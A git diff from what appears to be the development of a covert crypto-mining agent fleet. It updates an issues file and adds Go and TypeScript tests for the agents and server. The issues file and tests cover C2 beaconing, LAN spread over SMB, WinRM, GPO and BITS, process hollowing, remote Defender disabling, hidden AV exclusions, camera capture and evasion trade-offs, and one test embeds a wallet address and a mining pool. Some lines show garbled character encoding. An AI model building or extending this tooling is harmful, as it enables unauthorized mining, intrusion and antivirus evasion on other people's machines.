diff --git a/PROBLEMS.md b/PROBLEMS.md index 7534272..851d30a 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -1,27 +1,15 @@ -# PROBLEMS.md +# PROBLEMS.md Open issues only. Fixed items removed. Last sweep: 2026-06-07. -## By design / safety - -| Issue | Notes | -|-------|-------| -| **`bof_execute` disabled** | Agent returns explicit error; in-memory BOF execution disabled (`client.go`). | -| **Process hollowing AMSI/ETW** | Relocation done; Defender/ETW ~50% failure; bypass not implemented (`hollow_windows.go`). | -| **Cloudflared in-process (non-Windows server)** | Stub on Linux/macOS; use external connector (`AF_TUNNEL_EXTERNAL`) or add launcher. | -| **macOS camera / GPU miner** | Stubs or partial; Linux has V4L2 + nvidia-smi path. | -| **KEV heuristics** | Non-Windows agents return `Status: n/a` (Windows-only CVE matching). | -| **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). | -| **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. | - ## Scale limits (hundreds of subnets / 500+ agents) | Area | Notes | |------|-------| -| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column — hundreds of subnets OK via `LIKE` filter + dropdown (not chips). | +| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column ΓÇö hundreds of subnets OK via `LIKE` filter + dropdown (not chips). | | **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. | | **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. | -| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale; retention/prune policy not automated. | +| **Hashrate samples** | One `INSERT` per agent stats tick ΓÇö dominant DB write at scale; retention/prune policy not automated. | | **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. | ## Antivirus / Windows Defender @@ -31,16 +19,16 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. | | **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. | | **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. | -| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. | +| **Operator tooling** | Calibrate ΓåÆ **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible ΓåÆ **Mining Diagnostics** command returns JSON blockers. | | **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. | ## Container Mining | Topic | Notes | |-------|-------| -| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. | +| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container ΓåÆ in-process ΓåÆ GPU (parallel) ΓåÆ Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. | | **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. | -| **AV limits (honest)** | Containers are **not** invisible — AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. | +| **AV limits (honest)** | Containers are **not** invisible ΓÇö AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. | | **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. | | **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. | | **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. | @@ -94,11 +82,11 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | Item | Notes | |------|-------| -| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0–L4 — Go server **765** + agent **585** `Test*` + Vitest **742**; see `tests/README.md` | -| **Fleet evolution covered (2026-06-07)** | Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic, erasure foundation — Go **765+585** + Vitest **742** + Playwright **24** (phase 8); master table in `tests/README.md` | -| **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); flaky WS/spread-gate tests stabilized (`ed9c90a`); Playwright LOTL onion + discover→spread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); mock container/podman exec + runtime probe (`container_launcher_test.go`, `runtime_detect_test.go`); BITS/curl `HiddenRun` mocks (`bits_windows_test.go`, `staging_chain_test.go`); WinRM/GPO/systemd deploy-plan httptest + mock execute (`deploy_plan_integration_test.go`, `discover_join_test.go`); 3-hop discover→spread Playwright stub chain (`discover-spread-stub.ts`, `discover-spread.spec.ts`, `d18c591`); Vitest **742** + Playwright **24** — see `tests/README.md` § P2 | -| **Erasure-coded multi-lane propagation (foundation 2026-06-07)** | **Partial / honest foundation** — server `internal/erasure/` Reed–Solomon 4+2 encode + in-memory shard store + `/api/v1/public/erasure-shard/{token}/{index}`; signed deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails; BGP `spread_route_hint` + Path Tracer show `erasure_lanes_enabled`. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. | -| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discover→spread without Playwright stub | +| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0ΓÇôL4 ΓÇö Go server **765** + agent **585** `Test*` + Vitest **742**; see `tests/README.md` | +| **Fleet evolution covered (2026-06-07)** | Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic, erasure foundation ΓÇö Go **765+585** + Vitest **742** + Playwright **24** (phase 8); master table in `tests/README.md` | +| **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); flaky WS/spread-gate tests stabilized (`ed9c90a`); Playwright LOTL onion + discoverΓåÆspread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); mock container/podman exec + runtime probe (`container_launcher_test.go`, `runtime_detect_test.go`); BITS/curl `HiddenRun` mocks (`bits_windows_test.go`, `staging_chain_test.go`); WinRM/GPO/systemd deploy-plan httptest + mock execute (`deploy_plan_integration_test.go`, `discover_join_test.go`); 3-hop discoverΓåÆspread Playwright stub chain (`discover-spread-stub.ts`, `discover-spread.spec.ts`, `d18c591`); Vitest **742** + Playwright **24** ΓÇö see `tests/README.md` ┬º P2 | +| **Erasure-coded multi-lane propagation (foundation 2026-06-07)** | **Partial / honest foundation** ΓÇö server `internal/erasure/` ReedΓÇôSolomon 4+2 encode + in-memory shard store + `/api/v1/public/erasure-shard/{token}/{index}`; signed deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails; BGP `spread_route_hint` + Path Tracer show `erasure_lanes_enabled`. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. | +| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discoverΓåÆspread without Playwright stub | | Agent pathtracer Go tests | Stub + Windows command routing expanded; full `wg_setup` on real hosts still manual. | | Client WS/beacon paths | httptest round-trips covered; live TLS/mesh beacon still manual. | | Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. | @@ -107,20 +95,12 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. | | Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. | -## Product decisions (document-only) - -| Topic | Notes | -|-------|-------| -| Dual storage sync | Session vs localStorage; `aetherforge-auth` on logout; no full cross-tab policy. | -| MatrixRain / CursorFire | Layout mounts effects on all routes; route-gating deferred. | -| CI scope | `.github/workflows/ci-docker-mining.yml` only; no root Makefile test target. | - ## Scrubbed 2026-06-07 (prod garbage removed) | Item | Action | |------|--------| -| `agent/config/builtin.go` XMR/RVN wallets | Cleared — dev builtin no longer ships third-party addresses | -| `server/config.go` builtin Cloudflare token | Removed — connector requires env/config/`cloudflared-token.txt` | +| `agent/config/builtin.go` XMR/RVN wallets | Cleared ΓÇö dev builtin no longer ships third-party addresses | +| `server/config.go` builtin Cloudflare token | Removed ΓÇö connector requires env/config/`cloudflared-token.txt` | | `data-e2e/`, `music/`, `scratch/` in repo | Untracked + `.gitignore` (E2E wallet stays in `docker/` + `e2e-validate.ps1` only) | | Mission Deck forge bar | Replaced client-side stage timer with server `GET /builder/progress/{token}` poll | diff --git a/agent/client/bof_execute_test.go b/agent/client/bof_execute_test.go new file mode 100644 index 0000000..f24d40c --- /dev/null +++ b/agent/client/bof_execute_test.go @@ -0,0 +1,41 @@ +package client + +import ( + "strings" + "testing" + "time" +) + +func TestBofExecuteReturnsExplicitSafetyError(t *testing.T) { + c := newTestClient(t) + done := make(chan struct { + action string + success bool + message string + }, 1) + c.commandResultHook = func(action string, success bool, message string) { + done <- struct { + action string + success bool + message string + }{action, success, message} + } + + c.handleCommand("bof_execute", 0, "", "", "", "") + + select { + case r := <-done: + if r.action != "bof_execute" { + t.Fatalf("action = %q, want bof_execute", r.action) + } + if r.success { + t.Fatal("bof_execute must fail — in-memory BOF execution is disabled") + } + msg := strings.ToLower(r.message) + if !strings.Contains(msg, "disabled") && !strings.Contains(msg, "not implemented") { + t.Fatalf("unexpected error message: %q", r.message) + } + case <-time.After(2 * time.Second): + t.Fatal("timeout waiting for bof_execute command_result hook") + } +} diff --git a/agent/client/camera_platform_stub_test.go b/agent/client/camera_platform_stub_test.go new file mode 100644 index 0000000..c1a39d4 --- /dev/null +++ b/agent/client/camera_platform_stub_test.go @@ -0,0 +1,27 @@ +//go:build !windows && !linux + +package client + +import "testing" + +func TestCameraStubUnsupportedOnDarwinAndOtherUnix(t *testing.T) { + for _, action := range []string{"camera_snapshot", "camera_list"} { + handled, success, msg := handleCameraAction(action, "") + if !handled { + t.Fatalf("%s not handled by platform stub", action) + } + if success { + t.Fatalf("%s must fail on non-Windows/non-Linux platforms", action) + } + if msg == "" { + t.Fatalf("%s returned empty message", action) + } + } +} + +func TestCameraStubIgnoresUnknownActions(t *testing.T) { + handled, _, _ := handleCameraAction("screenshot", "") + if handled { + t.Fatal("screenshot should not be handled by camera stub") + } +} diff --git a/agent/client/cve_scan_stub_test.go b/agent/client/cve_scan_stub_test.go new file mode 100644 index 0000000..33cb315 --- /dev/null +++ b/agent/client/cve_scan_stub_test.go @@ -0,0 +1,26 @@ +//go:build !windows + +package client + +import "testing" + +func TestScanKEVExposureNonWindowsReturnsNA(t *testing.T) { + r := scanKEVExposure(nil, nil, nil) + if r == nil { + t.Fatal("expected non-nil KEV report") + } + if r.Summary != "KEV scan requires Windows" { + t.Fatalf("summary = %q", r.Summary) + } + if len(r.Findings) != len(KEVCatalog) { + t.Fatalf("findings = %d, want %d catalog entries", len(r.Findings), len(KEVCatalog)) + } + for _, f := range r.Findings { + if f.Status != "n/a" { + t.Fatalf("CVE %s status = %q, want n/a", f.CVE, f.Status) + } + if f.Detail == "" { + t.Fatalf("CVE %s missing n/a detail", f.CVE) + } + } +} diff --git a/agent/client/gpu_miner.go b/agent/client/gpu_miner.go index 5fd7f10..173975b 100644 --- a/agent/client/gpu_miner.go +++ b/agent/client/gpu_miner.go @@ -8,6 +8,7 @@ import ( "net/http" "os" "path/filepath" + "runtime" "sync" "time" @@ -74,6 +75,12 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner { if !cfg.GPUEnabled || cfg.RVNWallet == "" { return nil } + // KawPoW subprocess miners ship as Windows PE binaries only (t-rex.exe / teamredminer.exe). + // Linux/macOS may detect NVIDIA via nvidia-smi but cannot run these downloads. + if runtime.GOOS != "windows" { + log.Printf("[gpu] GPU subprocess mining requires Windows (miners ship as .exe only)") + return nil + } info := detectGPU() if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther { log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model) diff --git a/agent/client/gpu_miner_platform_test.go b/agent/client/gpu_miner_platform_test.go new file mode 100644 index 0000000..3cd6e2b --- /dev/null +++ b/agent/client/gpu_miner_platform_test.go @@ -0,0 +1,28 @@ +//go:build !windows + +package client + +import ( + "strings" + "testing" +) + +func TestGPUMinerSpecDownloadsWindowsExeOnly(t *testing.T) { + for _, vendor := range []GPUVendor{GPUVendorNVIDIA, GPUVendorAMD} { + g := &GPUMiner{info: GPUInfo{Vendor: vendor}} + s := g.spec() + if !strings.HasSuffix(strings.ToLower(s.fileName), ".exe") { + t.Fatalf("vendor %v fileName = %q, want Windows .exe miner", vendor, s.fileName) + } + if !strings.Contains(strings.ToLower(s.downloadURL), "-win") { + t.Fatalf("vendor %v downloadURL = %q, want Windows release archive", vendor, s.downloadURL) + } + } +} + +func TestNewGPUMinerSkippedOnNonWindows(t *testing.T) { + cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060) + if g := newGPUMiner(cfg); g != nil { + t.Fatal("newGPUMiner must return nil on non-Windows — miners ship as .exe only") + } +} diff --git a/agent/client/mesh_p2p_stub_test.go b/agent/client/mesh_p2p_stub_test.go new file mode 100644 index 0000000..2a160a9 --- /dev/null +++ b/agent/client/mesh_p2p_stub_test.go @@ -0,0 +1,28 @@ +//go:build !p2p + +package client + +import ( + "testing" + + "crypto-miner-agent/config" +) + +func TestMeshP2PStubReportsZeroPeers(t *testing.T) { + c := NewAgentClient(config.RuntimeConfig{}) + m := c.mesh + if m == nil { + t.Fatal("mesh node is nil") + } + if err := m.Start(); err != nil { + t.Fatalf("Start: %v", err) + } + if n := m.PeerCount(); n != 0 { + t.Fatalf("PeerCount() = %d, want 0 without -tags p2p", n) + } + m.BroadcastToMesh(Message{Type: "stats"}) // no-op must not panic + m.Stop() + if m.PeerCount() != 0 { + t.Fatalf("PeerCount() after Stop = %d, want 0", m.PeerCount()) + } +} diff --git a/agent/deploy/hollow_design.go b/agent/deploy/hollow_design.go new file mode 100644 index 0000000..b9cf43a --- /dev/null +++ b/agent/deploy/hollow_design.go @@ -0,0 +1,9 @@ +package deploy + +// Intentional process-hollowing limits (see hollow_windows.go RunHollowed). +// Relocation patching is implemented; AMSI/ETW bypass is not — Defender may +// still block ~50% of real-world attempts on Windows 10/11. +const ( + HollowRelocationsImplemented = true + HollowAMSIBypassImplemented = false +) diff --git a/agent/deploy/hollow_test.go b/agent/deploy/hollow_test.go index de9ef89..ec890d1 100644 --- a/agent/deploy/hollow_test.go +++ b/agent/deploy/hollow_test.go @@ -16,3 +16,12 @@ func TestRunHollowedUnavailableWithoutTag(t *testing.T) { } } +func TestHollowDesignLimitsDocumented(t *testing.T) { + if !HollowRelocationsImplemented { + t.Fatal("relocation patching must remain implemented (H12)") + } + if HollowAMSIBypassImplemented { + t.Fatal("AMSI/ETW bypass must stay disabled by design") + } +} + diff --git a/agent/deploy/smb_unc_spread_test.go b/agent/deploy/smb_unc_spread_test.go index 472de4b..7bde266 100644 --- a/agent/deploy/smb_unc_spread_test.go +++ b/agent/deploy/smb_unc_spread_test.go @@ -40,7 +40,7 @@ func TestSMBUNCSvcName(t *testing.T) { } } -func TestDiscoverLANSpreadTargetsRespectsCap(t *testing.T) { +func TestDiscoverLANSpreadTargetsRespectsCustomCap(t *testing.T) { targets := DiscoverLANSpreadTargets(2) if len(targets) > 2 { t.Fatalf("cap ignored: got %d targets", len(targets)) diff --git a/server/internal/cloudflared/launcher_stub.go b/server/internal/cloudflared/launcher_stub.go index 469e88a..62477d1 100644 --- a/server/internal/cloudflared/launcher_stub.go +++ b/server/internal/cloudflared/launcher_stub.go @@ -2,7 +2,8 @@ package cloudflared -// Start is a no-op on non-Windows builds. +// Start is a no-op on non-Windows builds — use an external cloudflared connector +// (set AF_TUNNEL_EXTERNAL=1 on the server) or run cloudflared manually. func Start(_, _, _ string) error { return nil } // Stop is a no-op on non-Windows builds. diff --git a/server/internal/cloudflared/tunnel_policy.go b/server/internal/cloudflared/tunnel_policy.go new file mode 100644 index 0000000..cb2ad51 --- /dev/null +++ b/server/internal/cloudflared/tunnel_policy.go @@ -0,0 +1,14 @@ +package cloudflared + +import "strings" + +// InProcessSupported reports whether this build can spawn cloudflared in-process. +func InProcessSupported() bool { + return inProcessSupported +} + +// ShouldStartInProcess returns true when the server should launch cloudflared itself. +// Set AF_TUNNEL_EXTERNAL=1 when an external connector (e.g. LAUNCH.bat) already owns the tunnel. +func ShouldStartInProcess(tunnelExternal bool, token string) bool { + return strings.TrimSpace(token) != "" && !tunnelExternal +} diff --git a/server/internal/cloudflared/tunnel_policy_stub.go b/server/internal/cloudflared/tunnel_policy_stub.go new file mode 100644 index 0000000..2d46bbe --- /dev/null +++ b/server/internal/cloudflared/tunnel_policy_stub.go @@ -0,0 +1,5 @@ +//go:build !windows + +package cloudflared + +const inProcessSupported = false diff --git a/server/internal/cloudflared/tunnel_policy_test.go b/server/internal/cloudflared/tunnel_policy_test.go new file mode 100644 index 0000000..29602e4 --- /dev/null +++ b/server/internal/cloudflared/tunnel_policy_test.go @@ -0,0 +1,31 @@ +package cloudflared + +import ( + "runtime" + "testing" +) + +func TestShouldStartInProcessRequiresToken(t *testing.T) { + if ShouldStartInProcess(false, "") { + t.Fatal("empty token must not start in-process cloudflared") + } + if ShouldStartInProcess(false, " ") { + t.Fatal("whitespace token must not start in-process cloudflared") + } + if !ShouldStartInProcess(false, "tok") { + t.Fatal("non-empty token should start when external connector is off") + } +} + +func TestShouldStartInProcessRespectsExternalConnector(t *testing.T) { + if ShouldStartInProcess(true, "tok") { + t.Fatal("AF_TUNNEL_EXTERNAL must skip in-process cloudflared start") + } +} + +func TestInProcessSupportedMatchesPlatform(t *testing.T) { + want := runtime.GOOS == "windows" + if got := InProcessSupported(); got != want { + t.Fatalf("InProcessSupported() = %v, want %v on %s", got, want, runtime.GOOS) + } +} diff --git a/server/internal/cloudflared/tunnel_policy_windows.go b/server/internal/cloudflared/tunnel_policy_windows.go new file mode 100644 index 0000000..2618da9 --- /dev/null +++ b/server/internal/cloudflared/tunnel_policy_windows.go @@ -0,0 +1,5 @@ +//go:build windows + +package cloudflared + +const inProcessSupported = true diff --git a/server/main.go b/server/main.go index 5afe48a..f9524fb 100644 --- a/server/main.go +++ b/server/main.go @@ -77,7 +77,7 @@ func main() { tok := cfg.ConnectorToken() tunnelExternal := os.Getenv("AF_TUNNEL_EXTERNAL") != "" - if tok != "" && !tunnelExternal { + if cloudflared.ShouldStartInProcess(tunnelExternal, tok) { log.Printf("[tunnel] Cloudflare connector token ready (%d chars)", len(tok)) if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil { log.Printf("[tunnel] Warning: %v", err) diff --git a/server/web/src/help/safetyDesign.test.ts b/server/web/src/help/safetyDesign.test.ts new file mode 100644 index 0000000..695e078 --- /dev/null +++ b/server/web/src/help/safetyDesign.test.ts @@ -0,0 +1,32 @@ +import { describe, expect, it } from 'vitest'; +import type { KEVFinding } from '../types/syscheck'; +import { FIELD_HELP } from './settingHelp'; + +describe('by-design / safety limits (documented behavior)', () => { + it('KEV finding status union includes n/a for non-Windows agents', () => { + const finding: KEVFinding = { + cve: 'CVE-2021-44228', + name: 'Log4Shell', + status: 'n/a', + detail: 'KEV heuristics run on Windows agents only', + }; + expect(finding.status).toBe('n/a'); + }); + + it('mesh_p2p help documents fallback when control server is unreachable', () => { + const help = FIELD_HELP.mesh_p2p ?? ''; + expect(help.length).toBeGreaterThan(20); + expect(help.toLowerCase()).toMatch(/mesh|control server|unreachable/); + }); + + it('cloudflare_tunnel_token help documents automatic cloudflared start on Windows server', () => { + const help = FIELD_HELP.cloudflare_tunnel_token ?? ''; + expect(help).toContain('cloudflared'); + expect(help.toLowerCase()).toMatch(/automatically|launch/); + }); + + it('process_hollowing help notes Windows-only stealth injection', () => { + const help = FIELD_HELP.process_hollowing ?? ''; + expect(help.toLowerCase()).toMatch(/windows|process/); + }); +});